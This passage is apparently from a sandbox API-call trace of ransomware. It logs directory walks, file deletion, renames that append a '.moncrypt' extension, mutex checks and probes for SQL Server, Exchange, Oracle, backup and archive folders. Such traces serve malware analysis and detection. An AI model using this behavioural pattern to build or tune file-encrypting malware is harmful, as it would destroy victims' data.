nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61db8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0046.907] CloseHandle (hObject=0x190) returned 1 [0046.908] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\я")) returned 1 [0046.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0x54e280 [0046.909] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.909] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.909] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", dwFileAttributes=0x20) returned 0 [0046.939] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.moncrypt")) returned 0 [0046.940] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0046.940] GetLastError () returned 0x12 [0046.940] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.940] GlobalLock (hMem=0x440004) returned 0x552180 [0046.940] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.940] GlobalUnlock (hMem=0x440004) returned 0 [0046.940] GlobalLock (hMem=0x440004) returned 0x552180 [0046.940] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.940] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.940] GlobalUnlock (hMem=0x440004) returned 0 [0046.940] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.940] GlobalUnlock (hMem=0x44000c) returned 0 [0046.940] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61da8, cbMultiByte=3, lpWideCharStr=0x18d758, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0046.940] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d3d2b80, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d3d2b80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.940] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.940] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.940] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.940] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.940] GlobalUnlock (hMem=0x44000c) returned 0 [0046.940] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.940] GlobalLock (hMem=0x440004) returned 0x554190 [0046.941] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.941] GlobalUnlock (hMem=0x44000c) returned 0 [0046.941] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.941] GlobalUnlock (hMem=0x440004) returned 0 [0046.941] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.941] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d3d2b80, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d3d2b80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.941] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.941] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.941] GlobalLock (hMem=0x440004) returned 0x553188 [0046.941] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.941] GlobalUnlock (hMem=0x440004) returned 0 [0046.941] GlobalLock (hMem=0x440004) returned 0x553188 [0046.941] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.941] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.941] GlobalUnlock (hMem=0x440004) returned 0 [0046.941] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.941] GlobalUnlock (hMem=0x44000c) returned 0 [0046.941] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.941] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0046.941] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.941] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.941] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.941] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.941] GlobalUnlock (hMem=0x44000c) returned 0 [0046.941] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.941] GlobalLock (hMem=0x440004) returned 0x555198 [0046.941] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.941] GlobalUnlock (hMem=0x44000c) returned 0 [0046.941] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.941] GlobalUnlock (hMem=0x440004) returned 0 [0046.941] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.942] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0046.942] GetLastError () returned 0x12 [0046.942] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.942] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0046.942] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.942] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.942] GlobalLock (hMem=0x440004) returned 0x552180 [0046.942] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.942] GlobalUnlock (hMem=0x440004) returned 0 [0046.942] GlobalLock (hMem=0x440004) returned 0x552180 [0046.942] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.942] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.942] GlobalUnlock (hMem=0x440004) returned 0 [0046.942] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.942] GlobalUnlock (hMem=0x44000c) returned 0 [0046.942] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.942] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0046.942] GetLastError () returned 0x12 [0046.942] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.943] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0046.943] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0046.943] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0046.943] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.943] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.943] GlobalUnlock (hMem=0x44000c) returned 0 [0046.943] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.943] GlobalLock (hMem=0x440004) returned 0x553188 [0046.943] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.943] GlobalUnlock (hMem=0x44000c) returned 0 [0046.943] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.943] GlobalUnlock (hMem=0x440004) returned 0 [0046.943] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.943] GlobalLock (hMem=0x440004) returned 0x551178 [0046.943] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.943] GlobalUnlock (hMem=0x440004) returned 0 [0046.943] GlobalLock (hMem=0x440004) returned 0x551178 [0046.943] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.943] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.943] GlobalUnlock (hMem=0x440004) returned 0 [0046.943] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.943] GlobalUnlock (hMem=0x44000c) returned 0 [0046.944] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.944] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL") returned 1 [0046.944] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.944] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.944] GlobalUnlock (hMem=0x44000c) returned 0 [0046.944] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.944] GlobalLock (hMem=0x440004) returned 0x553188 [0046.944] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.944] GlobalUnlock (hMem=0x44000c) returned 0 [0046.944] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.944] GlobalUnlock (hMem=0x440004) returned 0 [0046.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0046.944] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⧚R⦮R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0046.944] GetLastError () returned 0x3 [0046.944] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0046.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="❌R䱠@⤼R企@\x18㽜Q\x181")) returned 0xffffffff [0046.945] GetLastError () returned 0x2 [0046.945] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="❌R䱠@╜R企@\x18?T\x18;")) returned 0xffffffff [0046.946] GetLastError () returned 0x2 [0046.946] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.946] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="❌R䱠@♔R企@\x18?T\x18D")) returned 0xffffffff [0046.946] GetLastError () returned 0x2 [0046.946] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.947] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="❌R䱠@⤼R企@\x18╜R\x18j")) returned 0xffffffff [0046.947] GetLastError () returned 0x2 [0046.947] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.947] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="❌R䱠@♔R企@\x18?T\x18q")) returned 0xffffffff [0046.947] GetLastError () returned 0x2 [0046.947] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\╘RP") returned 6 [0046.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.948] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="❌R䱠@⡄R企@\x18?T\x18y")) returned 0xffffffff [0046.948] GetLastError () returned 0x2 [0046.948] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.948] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.948] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.948] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="❌R䱠@⤼R企@\x18?T\x18\x81")) returned 0xffffffff [0046.948] GetLastError () returned 0x2 [0046.948] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.948] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.948] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.948] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="❌R䱠@♔R企@\x18?T\x18\x88")) returned 0xffffffff [0046.949] GetLastError () returned 0x2 [0046.949] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0046.949] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: 